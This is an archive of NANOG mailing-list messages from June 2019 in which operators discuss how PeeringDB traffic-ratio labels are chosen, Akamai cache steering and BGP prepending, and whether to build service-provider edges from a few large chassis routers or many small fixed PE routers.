Message-ID: <20190619154227.GB6254@jima.tpb.net> * jabley at hopcount.ca (Joe Abley) [Wed 19 Jun 2019, 17:24 CEST]: >On 19 Jun 2019, at 10:27, Mike Hammett wrote: > >>I'm curious as to why someone would want to do this? My interest >>is education, not combative. > >In previous lives I have had great success simply talking to people >at Akamai about where my customers' traffic was landing, and where >would make more sense for it to land. They were always very >responsive; the people I used to talk to are no longer there, but I >imagine there are replacements, even if you have to hunt a little >further than the published noc address. I always took care to >describe my problem in terms of clients and content rather than >routing policy, which seemed like a better bet than making >assumptions about how their content-steering machinery worked. Still happy to help out as will be other colleagues lurking on this list. >Asking Akamai seems more likely to succeed than asking a third-party >network to modify their BGP export policy for a non-customer, >especially when the third-party network is large and, I am guessing, >highly-automated and policy-rigid. But it would be interesting to me >too to find out if I'm wrong. It's Akamai making the decision to serve networks from certain clusters so it's not really up to Bell to go against Akamai's request to send their own + customer prefixes for their cluster. >Jason, if you are multi-homed you could always try AS_PATH >prepending 18717 to the advertisments you send towards 577 (he said, >over his shoulder, running away). Akamai caches generally ignore AS_paths so that may not help. -- Niels. From prasun at nevada.unr.edu Wed Jun 19 15:05:40 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 11:05:40 -0400 Subject: Traffic ratio of an ISP Message-ID: Hello, Good morning. I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for 1. Heavy Inbound: 2. Mostly Inbound: 3. Mostly Outbound: 4. Heavy Outbound: Thank you. - Prasun -- Sincerely, Prasun Kanti Dey, Ph.D. candidate, Dept. of Electrical and Computer Engineering, University of Central Florida. -------------- next part -------------- An HTML attachment was scrubbed... URL: From josh at imaginenetworksllc.com Wed Jun 19 17:54:45 2019 From: josh at imaginenetworksllc.com (Josh Luthman) Date: Wed, 19 Jun 2019 13:54:45 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. I'm not sure you're going to get any better answer without a more specific question. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey wrote: > Hello, > Good morning. > I’m a Ph.D. candidate from University of Central Florida. I have a query, > I hope you can help me with it or at least point me to the right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as > Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I’m wondering if there is any specific ratio numbers for them. In Norton’s > Internet Peering Playbook or some other literary work, they mention the > outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I > couldn’t find the other values. > I’d really appreciate your help if you can please mention what > Outbound:Inbound ratios that network admins use frequently to represent > their traffic ratios for > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer Engineering, > University of Central Florida. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From martijnschmidt at i3d.net Wed Jun 19 18:13:43 2019 From: martijnschmidt at i3d.net (i3D.net - Martijn Schmidt) Date: Wed, 19 Jun 2019 18:13:43 +0000 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. Best regards, Martijn On 19 June 2019 19:54:45 CEST, Josh Luthman wrote: If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. I'm not sure you're going to get any better answer without a more specific question. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: Hello, Good morning. I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for 1. Heavy Inbound: 2. Mostly Inbound: 3. Mostly Outbound: 4. Heavy Outbound: Thank you. - Prasun -- Sincerely, Prasun Kanti Dey, Ph.D. candidate, Dept. of Electrical and Computer Engineering, University of Central Florida. -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From bill at herrin.us Wed Jun 19 18:14:43 2019 From: bill at herrin.us (William Herrin) Date: Wed, 19 Jun 2019 11:14:43 -0700 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: On Wed, Jun 19, 2019 at 9:50 AM Prasun Dey wrote: > I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. Hi Prasun, Ratio only masquerades as a technical term. It's whatever it takes to convince the other guy to set up settlement-free peering and you'll tweak your routing adjusting reality to match. The information in peeringdb is just a rough guide to help you figure out who to talk to as you try to adjust your traffic profile so that you can go after the big fish as "balanced." Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From aaron1 at gvtc.com Wed Jun 19 18:18:59 2019 From: aaron1 at gvtc.com (Aaron Gould) Date: Wed, 19 Jun 2019 13:18:59 -0500 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: <001101d526cb$7786d7c0$66948740$@gvtc.com> I run an eyeballs/isp network for about ~50,000 subscribers, and I see about 1:10 ratio at peak time. Last night ~4.5 gbps out, ~45 gbps in. But, I do have local caching of 4 big name cdn cache providers, so that might alter the 1:10 ratio I see on my actual inet links (which do not include the local cdn traffic) …take Netflix for instance… I see on my local nfx cdn links, 1:100 ratio of in:out. 20 gbps inbound and .2 gbps outbound (during that same timeframe as aforementioned actual inet links) Numbers based on 21:00 CDT last night. -Aaron -------------- next part -------------- An HTML attachment was scrubbed... URL: From adamv0025 at netconsultings.com Wed Jun 19 20:22:45 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Wed, 19 Jun 2019 21:22:45 +0100 Subject: few big monolithic PEs vs many small PEs Message-ID: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Hi folks, Recently I ran into a peculiar situation where we had to cap couple of PE even though merely a half of the rather big chassis was populated with cards, reason being that the central RE/RP was not able to cope with the combined number of routes/vrfs/bgp sessions/etc.. So this made me think about the best strategy in building out SP-Edge nowadays (yes I'm aware of the centralize/decentralize pendulum swinging every couple of years). The conclusion I came to was that *currently the best approach would be to use several medium to small(fixed) PEs to replace a big monolithic chasses based system. So what I was thinking is, Yes it will cost a bit more (router is more expensive than a LC) Will end up with more prefixes in IGP, more BGP sessions etc.. -don't care. But the benefits are less eggs in one basket, simplified and hence faster testing in case of specialized PEs and obviously better RP CPU/MEM to port ratio. Am I missing anything please? *currently, Yes some old chassis systems or even multi-chassis systems used to support additional RPs and offloading some of the processes (e.g. BGP onto those) -problem is these are custom hacks and still a single OS which needs rebooting LC/ASICs when being upgraded -so the problem of too many eggs in one basket still exists (yes cisco NCS6k and recent ASR9k lightspeed LCs are an exception) And yes there is the "node-slicing" approach from Juniper where one can offload CP onto multiple x86 servers and assign LCs to each server (virtual node) - which would solve my chassis full problem -but honestly how many of you are running such setup? Exactly. And that's why I'd be hesitant to deploy this solution in production just yet. I don't know of any other vendor solution like this one, but who knows maybe in 5 years this is going to be the new standard. Anyways I need a solution/strategy for the next 3-5 years. Would like to hear what are your thoughts on this conundrum. adam netconsultings.com ::carrier-class solutions for the telecommunications industry:: From josh at imaginenetworksllc.com Wed Jun 19 20:23:33 2019 From: josh at imaginenetworksllc.com (Josh Luthman) Date: Wed, 19 Jun 2019 16:23:33 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey wrote: > Hi Martijn and Josh, > Thank you for your detailed explanation. Let me explain my requirement so > that you may help me better. > According to PeeringDB, Charter (Access), Sprint (Transit), Amazon > (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP > says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy > Outbound. On the other hand, Cox, another access ISP, it says that it is > Mostly Inbound. > So, my question was more like to understand when an ISP decides to claim > itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s > own point of view, at what point, it says, my outbound:inbound is > something, so I’m Heavy Outbound. > Please ignore my lack of knowledge in this area. I’m sorry I should’ve > done a better job in formulating my question earlier. > Thank you. > > - > Prasun > > Regards, > Prasun Kanti Dey > Ph.D. Candidate, > Dept of Electrical and Computer Engineering, > University of Central Florida > web: https://prasunkantidey.github.io/portfolio/ > > > > > > > On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt < > martijnschmidt at i3d.net> wrote: > > It kinda depends on the application that's being used. For example, > videogaming has a ratio somewhere around 1:2.5 since you're only > transmitting metadata about the players environment across the wire. The > actual video is typically rendered at the end user's side. So it's not very > bandwidth heavy. > > Compare that with a videostream (watching a movie or TV series) and you're > pumping the rendered video across the wire, so there's a very different > ratio. Your return path traffic would pretty much consist of control stuff > only (like pushing the pause button). > > Some networks are dedicated to serving one type of content, whereas others > might have a blend of different kinds of content. Same story for an access > network geared to business users which want to use emails and such, vs > residential end users looking for the evening's entertainment. > > Best regards, > Martijn > > On 19 June 2019 19:54:45 CEST, Josh Luthman > wrote: >> >> If you're asking an ISP, consumers will always be inbound. It's the end >> user. The outbound would be where the information is coming from, like >> data centers. >> >> I'm not sure you're going to get any better answer without a more >> specific question. >> >> Josh Luthman >> Office: 937-552-2340 >> Direct: 937-552-2343 >> 1100 Wayne St >> Suite 1337 >> Troy, OH 45373 >> >> >> On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey >> wrote: >> >>> Hello, >>> Good morning. >>> I’m a Ph.D. candidate from University of Central Florida. I have a >>> query, I hope you can help me with it or at least point me to the right >>> direction. >>> I’ve seen from PeeringDB that every ISP reveals its traffic ratio as >>> Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. >>> I’m wondering if there is any specific ratio numbers for them. In >>> Norton’s Internet Peering Playbook or some other literary work, they >>> mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for >>> Balanced. But, I couldn’t find the other values. >>> I’d really appreciate your help if you can please mention what >>> Outbound:Inbound ratios that network admins use frequently to represent >>> their traffic ratios for >>> 1. Heavy Inbound: >>> 2. Mostly Inbound: >>> 3. Mostly Outbound: >>> 4. Heavy Outbound: >>> >>> Thank you. >>> - >>> Prasun >>> -- >>> Sincerely, >>> Prasun Kanti Dey, >>> Ph.D. candidate, >>> Dept. of Electrical and Computer Engineering, >>> University of Central Florida. >>> >> > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed Jun 19 21:18:45 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 19 Jun 2019 16:18:45 -0500 (CDT) Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: <1843867403.2393.1560979121496.JavaMail.mhammett@ThunderFuck> Yes, you seem to misunderstand (at least of what I understand). PeeringDB has categories of ratios to choose from. What has the community decided is acceptable ratios for each category? It's fairly trivial for any network to determine what their ratio is as a number, but not necessarily as a PeeringDB label. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Josh Luthman" To: "Prasun Dey" Cc: nanog at nanog.org Sent: Wednesday, June 19, 2019 3:23:33 PM Subject: Re: Traffic ratio of an ISP >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey < prasun at nevada.unr.edu > wrote: Hi Martijn and Josh, Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/
On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt < martijnschmidt at i3d.net > wrote: It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. Best regards, Martijn On 19 June 2019 19:54:45 CEST, Josh Luthman < josh at imaginenetworksllc.com > wrote:
If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. I'm not sure you're going to get any better answer without a more specific question. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey < prasun at nevada.unr.edu > wrote:
Hello, Good morning. I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for 1. Heavy Inbound: 2. Mostly Inbound: 3. Mostly Outbound: 4. Heavy Outbound: Thank you. - Prasun -- Sincerely, Prasun Kanti Dey, Ph.D. candidate, Dept. of Electrical and Computer Engineering, University of Central Florida.
-- Sent from my Android device with K-9 Mail. Please excuse my brevity.
-------------- next part -------------- An HTML attachment was scrubbed... URL: From aaron1 at gvtc.com Wed Jun 19 21:26:46 2019 From: aaron1 at gvtc.com (Aaron Gould) Date: Wed, 19 Jun 2019 16:26:46 -0500 Subject: Traffic ratio of an ISP In-Reply-To: References: <001101d526cb$7786d7c0$66948740$@gvtc.com> Message-ID: <003c01d526e5$b2e7a730$18b6f590$@gvtc.com> I’m heavy inbound. Which I think is characteristic of a stub-AS with lots of resi/busi bb ... no transit… just a lot of people looking at stuff. Inbound is of course from the perspective of traffic coming into my AS -Aaron -------------- next part -------------- An HTML attachment was scrubbed... URL: From martijnschmidt at i3d.net Wed Jun 19 22:04:05 2019 From: martijnschmidt at i3d.net (i3D.net - Martijn Schmidt) Date: Wed, 19 Jun 2019 22:04:05 +0000 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: Hi Adam, Depends on how big of a router you need for your "small PE". Taking Juniper as an example, the MX204 is pretty unbeatable cost wise if you can make do with its 4*QSFP28 & 8*SFP+ interfaces. There's a very big gap between the MX204 and the first chassis based router in the MX lineup, even if you only try to replicate the port configuration at first. Best regards, Martijn PS, take note of the MX204 port profiles, not every combination of interface speeds is possible: https://apps.juniper.net/home/port-checker/ On 19 June 2019 22:22:45 CEST, adamv0025 at netconsultings.com wrote: Hi folks, Recently I ran into a peculiar situation where we had to cap couple of PE even though merely a half of the rather big chassis was populated with cards, reason being that the central RE/RP was not able to cope with the combined number of routes/vrfs/bgp sessions/etc.. So this made me think about the best strategy in building out SP-Edge nowadays (yes I'm aware of the centralize/decentralize pendulum swinging every couple of years). The conclusion I came to was that *currently the best approach would be to use several medium to small(fixed) PEs to replace a big monolithic chasses based system. So what I was thinking is, Yes it will cost a bit more (router is more expensive than a LC) Will end up with more prefixes in IGP, more BGP sessions etc.. -don't care. But the benefits are less eggs in one basket, simplified and hence faster testing in case of specialized PEs and obviously better RP CPU/MEM to port ratio. Am I missing anything please? *currently, Yes some old chassis systems or even multi-chassis systems used to support additional RPs and offloading some of the processes (e.g. BGP onto those) -problem is these are custom hacks and still a single OS which needs rebooting LC/ASICs when being upgraded -so the problem of too many eggs in one basket still exists (yes cisco NCS6k and recent ASR9k lightspeed LCs are an exception) And yes there is the "node-slicing" approach from Juniper where one can offload CP onto multiple x86 servers and assign LCs to each server (virtual node) - which would solve my chassis full problem -but honestly how many of you are running such setup? Exactly. And that's why I'd be hesitant to deploy this solution in production just yet. I don't know of any other vendor solution like this one, but who knows maybe in 5 years this is going to be the new standard. Anyways I need a solution/strategy for the next 3-5 years. Would like to hear what are your thoughts on this conundrum. adam netconsultings.com ::carrier-class solutions for the telecommunications industry:: -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From baldur.norddahl at gmail.com Wed Jun 19 22:59:22 2019 From: baldur.norddahl at gmail.com (Baldur Norddahl) Date: Thu, 20 Jun 2019 00:59:22 +0200 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: Pure ISP is heavy inbound. Pure hosting is heavy outbound. The other categories are for people that have both types of business or who sell transit to both types of business. You are being asked what kind you are most. Regards Baldur ons. 19. jun. 2019 18.50 skrev Prasun Dey : > Hello, > Good morning. > I’m a Ph.D. candidate from University of Central Florida. I have a query, > I hope you can help me with it or at least point me to the right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as > Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I’m wondering if there is any specific ratio numbers for them. In Norton’s > Internet Peering Playbook or some other literary work, they mention the > outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I > couldn’t find the other values. > I’d really appreciate your help if you can please mention what > Outbound:Inbound ratios that network admins use frequently to represent > their traffic ratios for > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer Engineering, > University of Central Florida. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From alejandroacostaalamo at gmail.com Thu Jun 20 01:00:25 2019 From: alejandroacostaalamo at gmail.com (Alejandro Acosta) Date: Wed, 19 Jun 2019 21:00:25 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: Hello,   Many years ago I read somewhere that the ratio between inbound & outbound traffic we used to see at that time was going to change in the future, the reasons they mentioned at that time was because the applications would change their behavior, things like: Dropbox, Gdrive and others would consume upload traffic, I guess these hypotheses remained in the past. Alejandro, On 6/19/19 11:05 AM, Prasun Dey wrote: > Hello, > Good morning. > I’m a Ph.D. candidate from University of Central Florida. I have a > query, I hope you can help me with it or at least point me to the > right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as > Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound.  > I’m wondering if there is any specific ratio numbers for them. In > Norton’s Internet Peering Playbook or some other literary work, they > mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for > Balanced. But, I couldn’t find the other values. > I’d really appreciate your help if you can please mention what > Outbound:Inbound ratios that network admins use frequently to > represent their traffic ratios for  > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer Engineering, > University of Central Florida. -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: pEpkey.asc Type: application/pgp-keys Size: 1782 bytes Desc: not available URL: From valdis.kletnieks at vt.edu Thu Jun 20 02:10:16 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Wed, 19 Jun 2019 22:10:16 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: <16770.1560996616@turing-police> On Wed, 19 Jun 2019 11:05:40 -0400, Prasun Dey said: > I���ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ > Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I���m wondering if there is any specific ratio numbers for them If they're an ISP that sells to end user consumers, they're going to be a heavy eyeball traffic - all the big packets are coming inbound from content providers and going to consumers. Content providers will of course show lots of big packets heading outwards toward eyeball networks - but those usually aren't called ISPs. If they're selling mostly transit, then they're more likely to be balanced, but again, then they're probably not really an "ISP" as the word is usually used. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From saku at ytti.fi Thu Jun 20 06:03:43 2019 From: saku at ytti.fi (Saku Ytti) Date: Thu, 20 Jun 2019 09:03:43 +0300 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: On Wed, 19 Jun 2019 at 23:25, wrote: > The conclusion I came to was that *currently the best approach would be to > use several medium to small(fixed) PEs to replace a big monolithic chasses > based system. For availability I think it is best approach to do many small edge devices. Because software is terrible, will always be terrible. People are bad at operating the devices and will always be. Hardware is is something we think about lot when we think about redundancy, but it's not that common reason for an outage. With more smaller boxes the inevitable human cockup and software defects will affect fewer customers. Why I believe this to be true, is because the events are sufficiently rare and once those happen, we find solution or at very least workaround rather fast. With full inaction you could argue that having A3 and B1+B2 is same amount of aggregate outage, as while outage in B affects fewer customers, there are two B nodes with equal probability of outage. But I argue that the events are not independent, they are dependent, so probability calculation isn't straightforward. Once we get some rare software defect or operator mistake on B1, we usually solve it before it triggers on B2, making the aggregate downtime of entire system lower. > Yes it will cost a bit more (router is more expensive than a LC) Several of my employees have paid only for LC. I don't think the CAPEX difference is meaningful, but operating two separate devices may have significant OPEX implications in electricity, rack space, provisioning, maintenance etc. > And yes there is the "node-slicing" approach from Juniper where one can > offload CP onto multiple x86 servers and assign LCs to each server (virtual > node) - which would solve my chassis full problem -but honestly how many of > you are running such setup? Exactly. And that's why I'd be hesitant to > deploy this solution in production just yet. I don't know of any other > vendor solution like this one, but who knows maybe in 5 years this is going > to be the new standard. Anyways I need a solution/strategy for the next 3-5 > years. Node slicing indeed seems like it can be sufficient compromise here between OPEX and availability. I believe (not know) that the shared software risks are meaningfully reduced and that bringing down whole system is sufficiently rare to allow availability upside compared to single large box. -- ++ytti From tarko at lanparty.ee Thu Jun 20 07:27:48 2019 From: tarko at lanparty.ee (Tarko Tikan) Date: Thu, 20 Jun 2019 10:27:48 +0300 Subject: few big monolithic PEs vs many small PEs In-Reply-To: References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> hey, > For availability I think it is best approach to do many small edge > devices. This is also great for planned maintenance. ISSU has not really worked out for any of the vendors and with two small devices you can upgrade them independently. Great for aggregation, enables you to dual-home access devices into two separate PEs that will never be down at the same time be it failure or planned maintenance (excluding the physical issues like power/cooling but dual-homing to two separate sites is always problematic for eyeball networks). -- tarko From niels=nanog at bakker.net Thu Jun 20 08:30:12 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Thu, 20 Jun 2019 10:30:12 +0200 Subject: Traffic ratio of an ISP In-Reply-To: <1843867403.2393.1560979121496.JavaMail.mhammett@ThunderFuck> References: <1843867403.2393.1560979121496.JavaMail.mhammett@ThunderFuck> Message-ID: <20190620083012.GC6254@jima.tpb.net> * nanog at ics-il.net (Mike Hammett) [Wed 19 Jun 2019, 23:19 CEST]: >PeeringDB has categories of ratios to choose from. What has the >community decided is acceptable ratios for each category? It's >fairly trivial for any network to determine what their ratio is >as a number, but not necessarily as a PeeringDB label. The community has long ago decided that ratios are bullshit -- Niels. From prasun at nevada.unr.edu Wed Jun 19 20:20:37 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 16:20:37 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: Hi Martijn and Josh, Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt wrote: > > It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. > > Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). > > Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. > > Best regards, > Martijn > > On 19 June 2019 19:54:45 CEST, Josh Luthman wrote: > If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. > > I'm not sure you're going to get any better answer without a more specific question. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: > Hello, > Good morning. > I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. > I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer Engineering, > University of Central Florida. > > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Wed Jun 19 20:30:33 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 16:30:33 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: <3CFB8823-A5C6-442E-ADEE-C82E0602156D@nevada.unr.edu> Hi William, Ha ha! Thanks for pointing that out. I’m not related to any ISP at all, so this is something new. I understand, PeeringDB is just a basic guideline and ISPs put their own information about their traffic ratios. I’m interested to know whether ISPs check their own accumulated traffic and then set their own outbound:inbound traffic ratios threshold to declare themselves as Heavy Outbound/ Inbound or Balanced. Or, is there some kind of rough understanding among networking community to treat certain ratios as Heavy/ Mostly Inbound/ Outbound. 